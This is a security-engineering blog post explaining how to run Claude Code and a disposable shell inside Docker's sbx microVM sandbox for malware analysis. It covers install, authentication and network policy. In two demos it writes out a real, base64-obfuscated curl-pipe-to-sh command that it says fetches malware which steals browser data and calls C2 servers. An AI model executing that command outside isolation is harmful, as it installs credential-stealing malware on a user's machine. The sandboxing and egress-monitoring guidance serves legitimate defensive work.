How to Use SBX Sandbox to Run Claude Code Safely

TL;DR: sbx wraps Claude Code inside a Docker microVM sandbox, your host stays clean even when the agent goes off-road. This walkthrough covers install, authentication, running real malware in isolation, and locking down network egress with sbx policy.

The problem

AI agents with shell access can delete files, or exfiltrate credentials to C2 servers, all from a single prompt injection or a cloned malicious repo.

What sbx Actually Does

sbx is Docker's CLI tool for creating isolated microVM sandboxes where Claude code agents run.

Why Need Sandbox

Claude code can read, explain, and trace malware behavior faster than manual reverse engineering.

Claude Code can deobfuscate scripts, trace execution paths, and summarize C2 behavior in one prompt.

So need to isolate the host due to the potential impact of malware analysis.

Setup

Prerequisite

Docker account (free tier works, needed for sbx login)

Step 1: Install sbx

macOS:

brew install docker/tap/sbx

Windows:

winget install Docker.sbx

Linux:

curl -fsSL https://get.docker.com | sudo REPO_ONLY=1 sh && sudo apt-get install docker-sbx && sudo usermod -aG kvm $USER && newgrp kvm

Step 2: Authenticate Docker account

sbx login

This opens a browser for device code auth flow. Confirm the one-time code shown in your terminal.

Step 3: Choose your agent

sbx supports: claude, codex, copilot, cursor, docker-agent, droid, gemini, kiro, opencode, shell.

This post focuses on claude and shell.

Step 4: Select a network policy

After login, sbx prompts you to pick a network policy:

Balanced - allowlisted domains only. Default for production use.
Open - allow all outbound, deny specific hosts. Useful for testing.

Tools Reference

Command	Category	What it does
`sbx run <agent>`	Sandbox	Launch an agent in a new sandbox
`sbx ls`	Sandbox	List running sandboxes
`sbx`	Sandbox	Interactive mode, select sandbox, press `x` to exec
`sbx exec -d <name> <cmd>`	Sandbox	Run a command inside a sandbox
`sbx stop <name>`	Sandbox	Stop a sandbox without removing it
`sbx rm <name>`	Sandbox	Remove a sandbox
`sbx secret set -g <service>`	Auth	Store credential globally (proxy-injected)
`sbx secret set <sandbox> <service>`	Auth	Store credential scoped to one sandbox
`sbx policy allow network <domain>`	Policy	Allow outbound to a specific host
`sbx policy deny network <domain>`	Policy	Block outbound to a specific host
`sbx policy ls`	Policy	List current network policies
`sbx policy log`	Policy	View all allowed/denied connection attempts
`sbx policy reset`	Policy	Reset and re-choose network policy mode

Create and Access a Claude Sandbox

Get Claude Code running inside an isolated microVM.

Create the sandbox:

sbx run claude

Claude Code running inside the sandbox

What happens under the hood: sbx pulls the docker/sandbox-templates:claude-code image, provisions a microVM, mounts your workspace, and launches Claude Code with --dangerously-skip-permissions inside the sandbox. Your host filesystem outside the workspace is invisible.

By default claude code not authenticated, read below instruction how to authenticate the claude code

Verify it's running:

Command: send this command in other terminal tab

sbx ls

Access the sandbox:

sbx

sbx interactive mode UI with sandbox list and exec option

Interactive mode shows running sandboxes. Select one, press x to exec into it.

Authenticate Claude Code inside the sandbox

Option A, Claude subscription login:

Inside the sandbox, run /login and follow the OAuth flow.

Option B, Anthropic API key via sbx secret:

sbx secret set -g anthropic

The key is injected via host-side proxy, never stored inside the VM.

Option C, Env variables with LLM gateway (recommended):

Run this command inside the sandbox, and then start claude code

export ANTHROPIC_BASE_URL="http://host.docker.internal:20128/v1"
export ANTHROPIC_AUTH_TOKEN="sk_9router"

This uses the 9router LLM gateway, no need to manage per-provider credentials or model names. The gateway routes to the correct provider.

host.docker.internal resolves to the host machine from inside the sandbox.

Demo 1: Analyzing Malware in the Sandbox

Goal: Execute a known malicious script without risking the host.

Send below prompt to claude code inside sbx sandbox

Analyze this Bash script for malicious behavior, explain suspicious commands and payloads,
extract IOCs, map to MITRE ATT&CK, and summarize capabilities, persistence, and remediation

```
curl -ksfLS $(echo 'aHR0cHM6Ly93b3VwcC5jb20vY3VybC81YmQxYzJhZGIzMjAyOGVjM2FkNmY1N2UxYzJjMDg4
MGQ1MmI3OWMyZmI4ZDUwNDc0OTBkZjJjOGMxZTFmOThj'|base64 -D) | sh
```

sbx policy log output showing network connections from the malware

What happens, step by step:

The base64 string decodes to a malicious URL
curl fetches the payload from that URL
The shell script executes inside the microVM, not on your host
The malware attempts to contact C2 servers, steal browser data, and persist
All of this is contained within the sandbox

Check the network logs:

sbx policy log

This shows every allowed and denied connection attempt. C2 callbacks, data exfil attempts, all logged.

On this setup: network policy is set to allow all for testing, so connections go through but are recorded.

Demo 2: Shell Agent for Ad-Hoc Malware Testing

Goal: Quick disposable environment for running any suspicious command.

Launch shell agent:

sbx run shell

What happens: Spawns a plain shell inside a microVM. No AI agent. Just a terminal for throwing random malicious commands at.

WARNING: THIS IS REAL MALWARE. DO NOT RUN THIS ON YOUR HOST MACHINE.

Inside the sandbox:

curl -ksfLS $(echo 'aHR0cHM6Ly93b3VwcC5jb20vY3VybC81YmQxYzJhZGIzMjAyOGVjM2FkNmY1N2UxYzJjMDg4MGQ1MmI3OWMyZmI4ZDUwNDc0OTBkZjJjOGMxZTFmOThj'|base64 -D) | sh

Shell agent sandbox running suspicious commands

Use this for experiments or running suspicious commands without thinking about cleanup. Commands execute, network calls are logged, nothing touches the host.

Other Features

Network policy control - allow/deny specific network host:

sbx policy allow network -g api.anthropic.com
sbx policy deny network -g ads.example.com

Block or allow all network - useful for locked-down testing:

sbx policy allow network -g "**"
sbx policy deny network -g "**"

Claude Setup Template - provide Claude code the initial setup such as MCP servers, skills, and configurations on every sandbox start using Kits. Reference: https://docs.docker.com/ai/sandboxes/customize/kits/

Security Considerations

Concerns:

sbx sandboxes mount your workspace directory, a malicious agent or script can still modify or delete files in that directory
The --dangerously-skip-permissions flag runs Claude Code without approval prompts inside the sandbox. Review changes before committing.
Network "open" mode allows all outbound, C2 callbacks succeed unless you add deny rules. Default to "balanced" mode for production use.

Mitigations:

Set network policy to "balanced" or explicitly deny unknown hosts with sbx policy deny
Review sbx policy log after every malware session, look for unexpected outbound connections
Use read-only workspace mounts for analysis-only sessions
Treat the sandbox as disposable, sbx rm and recreate between suspicious runs

Conclusion

sbx gives security engineers a disposable, isolated environment for running Claude Code against untrusted input. Malware executes, C2 callbacks fire, and none of it reaches the host. The network policy system adds a second layer, log everything, deny what you don't need. Set up sbx once, run malware forever without cleanup.

❝

Next post: Building a custom sbx sandbox template pre-loaded with malware analysis tools

Ready to apply AI to your Security Engineering?

Subscribe to Secengai Newsletter for weekly actionable content on AI for security engineers.

This content reflects personal views, experiments, and use cases in AI and security engineering. It does not represent any employer's positions, policies, or practices.